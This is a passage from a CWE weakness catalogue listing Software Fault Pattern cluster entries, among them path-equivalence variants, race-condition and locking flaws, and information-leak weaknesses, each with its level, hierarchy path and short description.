The product is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'filename.' (Trailing Dot) - (42)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 42 (Path Equivalence: 'filename.' (Trailing Dot))
The product accepts path input in the form of trailing dot ('filedir.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unquoted Search Path or Element - (428)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 428 (Unquoted Search Path or Element)
The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'filename....' (Multiple Trailing Dot) - (43)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 43 (Path Equivalence: 'filename....' (Multiple Trailing Dot))
The product accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'file.name' (Internal Dot) - (44)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 44 (Path Equivalence: 'file.name' (Internal Dot))
The product accepts path input in the form of internal dot ('file.ordir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'file...name' (Multiple Internal Dot) - (45)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 45 (Path Equivalence: 'file...name' (Multiple Internal Dot))
The product accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'filename ' (Trailing Space) - (46)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 46 (Path Equivalence: 'filename ' (Trailing Space))
The product accepts path input in the form of trailing space ('filedir ') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: ' filename' (Leading Space) - (47)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 47 (Path Equivalence: ' filename' (Leading Space))
The product accepts path input in the form of leading space (' filedir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'file name' (Internal Whitespace) - (48)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 48 (Path Equivalence: 'file name' (Internal Whitespace))
The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'filename/' (Trailing Slash) - (49)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 49 (Path Equivalence: 'filename/' (Trailing Slash))
The product accepts path input in the form of trailing slash ('filedir/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: '//multiple/leading/slash' - (50)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 50 (Path Equivalence: '//multiple/leading/slash')
The product accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: '/multiple//internal/slash' - (51)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 51 (Path Equivalence: '/multiple//internal/slash')
The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: '/multiple/trailing/slash//' - (52)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 52 (Path Equivalence: '/multiple/trailing/slash//')
The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: '\multiple\\internal\backslash' - (53)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 53 (Path Equivalence: '\multiple\\internal\backslash')
The product accepts path input in the form of multiple internal backslash ('\multiple\trailing\\slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'filedir\' (Trailing Backslash) - (54)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 54 (Path Equivalence: 'filedir\' (Trailing Backslash))
The product accepts path input in the form of trailing backslash ('filedir\') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: '/./' (Single Dot Directory) - (55)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 55 (Path Equivalence: '/./' (Single Dot Directory))
The product accepts path input in the form of single dot directory exploit ('/./') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'filedir*' (Wildcard) - (56)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 56 (Path Equivalence: 'filedir*' (Wildcard))
The product accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: 'fakedir/../realdir/filename' - (57)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 57 (Path Equivalence: 'fakedir/../realdir/filename')
The product contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Equivalence: Windows 8.3 Filename - (58)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 58 (Path Equivalence: Windows 8.3 Filename)
The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short "8.3" filename.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of File Names that Identify Virtual Resources - (66)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 66 (Improper Handling of File Names that Identify Virtual Resources)
The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Windows Device Names - (67)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 67 (Improper Handling of Windows Device Names)
The product constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Use of Incorrectly-Resolved Name or Reference - (706)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 706 (Use of Incorrectly-Resolved Name or Reference)
The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Apple HFS+ Alternate Data Stream Path - (72)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 72 (Improper Handling of Apple HFS+ Alternate Data Stream Path)
The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.External Control of File Name or Path - (73)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 73 (External Control of File Name or Path)
The product allows user input to control or influence paths or file names that are used in filesystem operations.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Synchronization - (894)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization)
This category identifies Software Fault Patterns (SFPs) within the Synchronization cluster (SFP19, SFP20, SFP21, SFP22).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Missing Lock - (986)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock)
This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster (SFP19).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Signal Handler Race Condition - (364)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 364 (Signal Handler Race Condition)
The product uses a signal handler that introduces a race condition.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Race Condition within a Thread - (366)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 366 (Race Condition within a Thread)
If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Context Switching Race Condition - (368)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 368 (Context Switching Race Condition)
A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Resource Locking - (413)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 413 (Improper Resource Locking)
The product does not lock or does not correctly lock a resource when the product must have exclusive access to the resource.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Lock Check - (414)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 414 (Missing Lock Check)
A product does not check to see if a lock is present before performing sensitive operations on a resource.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Singleton Pattern Without Synchronization in a Multithreaded Context - (543)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 543 (Use of Singleton Pattern Without Synchronization in a Multithreaded Context)
The product uses the singleton pattern when creating a resource within a multithreaded environment.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unsynchronized Access to Shared Data in a Multithreaded Context - (567)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 567 (Unsynchronized Access to Shared Data in a Multithreaded Context)
The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Double-Checked Locking - (609)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 609 (Double-Checked Locking)
The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Synchronization - (662)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 662 (Improper Synchronization)
The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of a Non-reentrant Function in a Concurrent Context - (663)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 663 (Use of a Non-reentrant Function in a Concurrent Context)
The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Locking - (667)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 986 (SFP Secondary Cluster: Missing Lock) > 667 (Improper Locking)
The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Multiple Locks/Unlocks - (987)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 987 (SFP Secondary Cluster: Multiple Locks/Unlocks)
This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster (SFP21).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Empty Synchronized Block - (585)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 987 (SFP Secondary Cluster: Multiple Locks/Unlocks) > 585 (Empty Synchronized Block)
The product contains an empty synchronized block.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Multiple Locks of a Critical Resource - (764)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 987 (SFP Secondary Cluster: Multiple Locks/Unlocks) > 764 (Multiple Locks of a Critical Resource)
The product locks a critical resource more times than intended, leading to an unexpected state in the system.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Multiple Unlocks of a Critical Resource - (765)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 987 (SFP Secondary Cluster: Multiple Locks/Unlocks) > 765 (Multiple Unlocks of a Critical Resource)
The product unlocks a critical resource more times than intended, leading to an unexpected state in the system.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Race Condition Window - (988)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 988 (SFP Secondary Cluster: Race Condition Window)
This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster (SFP20).
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 988 (SFP Secondary Cluster: Race Condition Window) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Race Condition Enabling Link Following - (363)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 988 (SFP Secondary Cluster: Race Condition Window) > 363 (Race Condition Enabling Link Following)
The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Time-of-check Time-of-use (TOCTOU) Race Condition - (367)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 988 (SFP Secondary Cluster: Race Condition Window) > 367 (Time-of-check Time-of-use (TOCTOU) Race Condition)
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state.TOCTTOUTOCCTOU
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Missing Check for Certificate Revocation after Initial Check - (370)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 988 (SFP Secondary Cluster: Race Condition Window) > 370 (Missing Check for Certificate Revocation after Initial Check)
The product does not check the revocation status of a certificate after its initial revocation check, which can cause the product to perform privileged actions even after the certificate is revoked at a later time.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Not Using Complete Mediation - (638)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 988 (SFP Secondary Cluster: Race Condition Window) > 638 (Not Using Complete Mediation)
The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Unrestricted Lock - (989)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 989 (SFP Secondary Cluster: Unrestricted Lock)
This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster (SFP22).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unrestricted Externally Accessible Lock - (412)
888 (Software Fault Pattern (SFP) Clusters) > 894 (SFP Primary Cluster: Synchronization) > 989 (SFP Secondary Cluster: Unrestricted Lock) > 412 (Unrestricted Externally Accessible Lock)
The product properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Information Leak - (895)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak)
This category identifies Software Fault Patterns (SFPs) within the Information Leak cluster (SFP23).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Exposed Data - (963)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data)
This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster (SFP23).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.ASP.NET Misconfiguration: Creating Debug Binary - (11)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 11 (ASP.NET Misconfiguration: Creating Debug Binary)
Debugging messages help attackers learn about the system and plan a form of attack.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Output Neutralization for Logs - (117)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 117 (Improper Output Neutralization for Logs)
The product does not neutralize or incorrectly neutralizes output that is written to logs.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.ASP.NET Misconfiguration: Missing Custom Error Page - (12)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 12 (ASP.NET Misconfiguration: Missing Custom Error Page)
An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.ASP.NET Misconfiguration: Password in Configuration File - (13)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 13 (ASP.NET Misconfiguration: Password in Configuration File)
Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Compiler Removal of Code to Clear Buffers - (14)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 14 (Compiler Removal of Code to Clear Buffers)
Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Exposure of Sensitive Information to an Unauthorized Actor - (200)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 200 (Exposure of Sensitive Information to an Unauthorized Actor)
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.Information DisclosureInformation Leak
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insertion of Sensitive Information Into Sent Data - (201)
888 (Software Fault Pattern (SFP) Clusters) > 895 (SFP Primary Cluster: Information Leak) > 963 (SFP Secondary Cluster: Exposed Data) > 201 (Insertion of Sensitive Information Into Sent Data)
The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Generation of Error Message Containing Sensitive Information - (209)
